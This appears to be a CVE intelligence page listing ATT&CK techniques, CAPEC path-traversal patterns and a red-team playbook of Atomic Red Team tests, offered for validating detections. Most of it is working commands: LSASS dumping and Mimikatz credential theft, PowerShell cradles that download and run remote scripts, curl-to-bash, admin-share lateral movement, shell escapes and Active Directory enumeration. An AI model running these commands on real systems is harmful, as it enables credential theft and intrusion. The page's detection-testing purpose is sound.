T1059.001 PowerShell Kill Chain execution Windows
T1059.004 Unix Shell Kill Chain execution ESXi, Linux, macOS, Network Devices
T1505.003 Web Shell Kill Chain persistence Linux, macOS, Network Devices, Windows
T1003.001 LSASS Memory Kill Chain credential-access Windows
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1049 System Network Connections Discovery Kill Chain discovery Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1087.002 Domain Account Kill Chain discovery Linux, macOS, Windows
T1021.002 SMB/Windows Admin Shares Kill Chain lateral-movement Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-126 Path Traversal
43%
High Very High
CAPEC-79 Using Slashes in Alternate Encoding
40%
High High
CAPEC-78 Using Escaped Slashes in Alternate Encoding
38%
High High
CAPEC-64 Using Slashes and URL Encoding Combined to Bypass Validation Logic
37%
High High
CAPEC-76 Manipulating Web Input to File System Calls
32%
High Very High

Red Team Playbook

108 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1003.001 Create Mini Dump of LSASS.exe using ProcDump Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. This particular method uses -mm to produce a mini dump of lsass.exe Upon successful execution, you should see the following file created...
Command (CMD)
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
T1003.001 Dump LSASS with createdump.exe from .Net v5 Windows PowerShell Privileged
Use createdump executable from .NET to create an LSASS dump. [Reference](https://twitter.com/bopin2020/status/1366400799199272960?s=20)
Command (PowerShell)
$exePath =  resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
T1003.001 Dump LSASS.exe Memory through Silent Process Exit Windows CMD Privileged
WerFault.exe (Windows Error Reporting process that handles process crashes) can be abused to create a memory dump of lsass.exe, in a directory of your choice. This method relies on a mechanism introduced in Windows 7 called Silent Process Exit, which provides the ability to...
Command (CMD)
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
T1003.001 Dump LSASS.exe Memory using NanoDump Windows CMD Privileged
The NanoDump tool uses syscalls and an invalid dump signature to avoid detection. https://github.com/helpsystems/nanodump Upon successful execution, you should find the nanondump.dmp file in the temp directory
Command (CMD)
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
T1003.001 Dump LSASS.exe Memory using Out-Minidump.ps1 Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure powershell implementation that leverages the MiniDumpWriteDump Win32 API call. Upon successful execution, you should see the following file created...
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
T1003.001 Dump LSASS.exe Memory using ProcDump Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp. If you see a message saying "procdump.exe is...
Command (CMD)
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
T1003.001 Dump LSASS.exe Memory using Windows Task Manager Windows Manual
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with the Windows Task Manager and administrative permissions.
T1003.001 Dump LSASS.exe Memory using comsvcs.dll Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll. Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp.
Command (PowerShell)
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
T1003.001 Dump LSASS.exe Memory using direct system calls and API unhooking Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved using direct system calls and API unhooking in an effort to avoid detection....
Command (CMD)
"#{dumpert_exe}"
T1003.001 Dump LSASS.exe using imported Microsoft DLLs Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved by importing built-in DLLs and calling exported functions. Xordump will re-read the resulting minidump file and delete it immediately to avoid brittle EDR detections that...
Command (PowerShell)
#{xordump_exe} -out #{output_file} -x 0x41
T1003.001 Dump LSASS.exe using lolbin rdrleakdiag.exe Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with lolbin rdrleakdiag.exe. Upon successful execution, you should see the following files created, $env:TEMP\minidump_<PID>.dmp and $env:TEMP\results_<PID>.hlk.
Command (PowerShell)
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
  } elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
  } else {
      $binary_path = "File not found"
      exit 1
  }
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force} 
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
T1003.001 LSASS read with pypykatz Windows CMD Privileged
Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa:: Python 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test. Successful execution of this test will display multiple usernames and passwords/hashes...
Command (CMD)
"#{venv_path}\Scripts\pypykatz" live lsa 
T1003.001 Offline Credential Theft With Mimikatz Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with Mimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.
Command (CMD)
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
T1003.001 Powershell Mimikatz Windows PowerShell Privileged
Dumps credentials from memory via Powershell by invoking a remote mimikatz script. If Mimikatz runs successfully you will see several usernames and hashes output to the screen. Common failures include seeing an \"access denied\" error which results when Anti-Virus blocks...
Command (PowerShell)
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
T1021.002 Copy and Execute File with PsExec Windows CMD Privileged
Copies a file to a remote host and executes it using PsExec. Requires the download of PsExec from [https://docs.microsoft.com/en-us/sysinternals/downloads/psexec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec).
Command (CMD)
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
T1021.002 Execute command writing output to local Admin Share Windows CMD Privileged
Executes a command, writing the output to a local Admin Share. This technique is used by post-exploitation frameworks.
Command (CMD)
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
T1021.002 Map Admin Share PowerShell Windows PowerShell
Map Admin share utilizing PowerShell
Command (PowerShell)
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
T1021.002 Map admin share Windows CMD
Connecting To Remote Shares
Command (CMD)
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049 System Discovery using SharpView Windows PowerShell Privileged
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell)
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049 System Network Connections Discovery Windows CMD
Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD)
netstat -ano
net use
net sessions 2>nul
T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell
Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell)
netstat
who -a
T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell)
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell)
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash)
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 System Network Connections Discovery with PowerShell Windows PowerShell
Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell)
Get-NetTCPConnection
T1059.001 ATHPowerShellCommandLineParameter -Command parameter variations Windows PowerShell
Executes powershell.exe with variations of the -Command parameter
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
T1059.001 ATHPowerShellCommandLineParameter -Command parameter variations with encoded arguments Windows PowerShell
Executes powershell.exe with variations of the -Command parameter with encoded arguments supplied
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
T1059.001 ATHPowerShellCommandLineParameter -EncodedCommand parameter variations Windows PowerShell
Executes powershell.exe with variations of the -EncodedCommand parameter
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
T1059.001 ATHPowerShellCommandLineParameter -EncodedCommand parameter variations with encoded arguments Windows PowerShell
Executes powershell.exe with variations of the -EncodedCommand parameter with encoded arguments supplied
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
T1059.001 Abuse Nslookup with DNS Records Windows PowerShell
Red teamer's avoid IEX and Invoke-WebRequest in your PowerShell commands. Instead, host a text record with a payload to compromise hosts. [reference](https://twitter.com/jstrosch/status/1237382986557001729)
Command (PowerShell)
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup  { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
T1059.001 Invoke-AppPathBypass Windows CMD
Note: Windows 10 only. Upon execution windows backup and restore window will be opened. Bypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
Command (CMD)
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
T1059.001 Mimikatz Windows CMD Privileged
Download Mimikatz and dump credentials. Upon execution, mimikatz dump details and password hashes will be displayed.
Command (CMD)
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"
T1059.001 Mimikatz - Cradlecraft PsSendKeys Windows PowerShell Privileged
Run mimikatz via PsSendKeys. Upon execution, automated actions will take place to open file explorer, open notepad and input code, then mimikatz dump info will be displayed.
Command (PowerShell)
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
T1059.001 NTFS Alternate Data Stream Access Windows PowerShell
Creates a file with an alternate data stream and simulates executing that hidden code/file. Upon execution, "Stream Data Executed" will be displayed.
Command (PowerShell)
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
T1059.001 PowerShell Command Execution Windows CMD
Use of obfuscated PowerShell to execute an arbitrary command; outputs "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary.
Command (CMD)
powershell.exe -e  #{obfuscated_code}
T1059.001 PowerShell Fileless Script Execution Windows PowerShell
Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections. Upon exection, open "C:\Windows\Temp" and verify that art-marker.txt is in the folder.
Command (PowerShell)
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
T1059.001 PowerShell Invoke Known Malicious Cmdlets Windows PowerShell Privileged
Powershell execution of known Malicious PowerShell Cmdlets
Command (PowerShell)
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
    "function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
    $cmdlets}
T1059.001 PowerShell Session Creation and Use Windows PowerShell Privileged
Connect to a remote powershell session and interact with the host. Upon execution, network test info and 'T1086 PowerShell Session Creation and Use' will be displayed.
Command (PowerShell)
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
T1059.001 PowerUp Invoke-AllChecks Windows PowerShell
Check for privilege escalation paths using PowerUp from PowerShellMafia
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
T1059.001 Powershell Invoke-DownloadCradle Windows Manual
Provided by https://github.com/mgreen27/mgreen27.github.io Invoke-DownloadCradle is used to generate Network and Endpoint artifacts.
T1059.001 Powershell MsXml COM object - with prompt Windows CMD
Powershell MsXml COM object. Not proxy aware, removing cache although does not appear to write to those locations. Upon execution, "Download Cradle test success!" will be displayed. Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD)
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
T1059.001 Powershell XML requests Windows CMD
Powershell xml download request. Upon execution, "Download Cradle test success!" will be dispalyed. Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD)
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
T1059.001 Powershell invoke mshta.exe download Windows CMD
Powershell invoke mshta to download payload. Upon execution, a new PowerShell window will be opened which will display "Download Cradle test success!". Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD)
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
T1059.001 Run BloodHound from local disk Windows PowerShell
Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur. Successful...
Command (PowerShell)
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
T1059.001 Run Bloodhound from Memory using Download Cradle Windows PowerShell
Upon execution SharpHound will load into memory and execute against a domain. It will set up collection methods, run and then compress and store the data to the temp directory. If system is unable to contact a domain, proper execution will not occur. Successful execution...
Command (PowerShell)
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
T1059.001 SOAPHound - Build Cache Windows PowerShell
Build cache using SOAPHound. Upon execution, a cache will be built and stored in the specified cache filename. src: https://github.com/FalconForceTeam/SOAPHound
Command (PowerShell)
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
T1059.001 SOAPHound - Dump BloodHound Data Windows PowerShell
Dump BloodHound data using SOAPHound. Upon execution, BloodHound data will be dumped and stored in the specified output directory. src: https://github.com/FalconForceTeam/SOAPHound
Command (PowerShell)
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
T1059.004 Change login shell Linux Bash Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash)
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 Command line scripts Linux Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell)
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 Command-Line Interface Linux, macOS Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell)
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell
Creates and executes a simple sh script.
Command (Shell)
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 Creating shell using cpan command Linux, macOS Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell)
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 Current kernel information enumeration Linux Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell)
uname -srm
T1059.004 Detecting pipe-to-shell Linux Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell)
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt      
T1059.004 Environment variable scripts Linux Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell)
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 Harvest SUID executable files Linux Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell)
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 LinEnum tool execution Linux Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell)
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell)
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell)
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell)
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...
Command (Shell)
busybox sh &
T1059.004 What shell is running Linux Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell)
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell)
cat /etc/shells 
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell)
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1087.002 Account Enumeration with LDAPDomainDump Linux Shell
This test uses LDAPDomainDump to perform account enumeration on a domain. [Reference](https://securityonline.info/ldapdomaindump-active-directory-information-dumper-via-ldap/)
Command (Shell)
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
T1087.002 Active Directory Domain Search Linux Shell
Output information from LDAPSearch. LDAP Password is the admin-user password on Active Directory
Command (Shell)
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
T1087.002 Adfind - Enumerate Active Directory Admins Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Admin accounts reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
T1087.002 Adfind - Enumerate Active Directory Exchange AD Objects Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Exchange Objects reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
T1087.002 Adfind - Enumerate Active Directory User Objects Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory User Objects reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
T1087.002 Adfind -Listing password policy Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. The example chosen illustrates adfind used to query the local password policy. reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
T1087.002 Automated AD Recon (ADRecon) Windows PowerShell
ADRecon extracts and combines information about an AD environement into a report. Upon execution, an Excel file with all of the data will be generated and its path will be displayed.
Command (PowerShell)
Invoke-Expression "#{adrecon_path}"
T1087.002 Enumerate Active Directory Users with ADSISearcher Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate users within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell)
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
T1087.002 Enumerate Active Directory for Unconstrained Delegation Windows PowerShell
Attackers may attempt to query for computer objects with the UserAccountControl property 'TRUSTED_FOR_DELEGATION' (0x80000;524288) set More Information -...
Command (PowerShell)
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
T1087.002 Enumerate Default Domain Admin Details (Domain) Windows CMD
This test will enumerate the details of the built-in domain admin account
Command (CMD)
net user administrator /domain
T1087.002 Enumerate Linked Policies In ADSISearcher Discovery Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate organizational unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell)
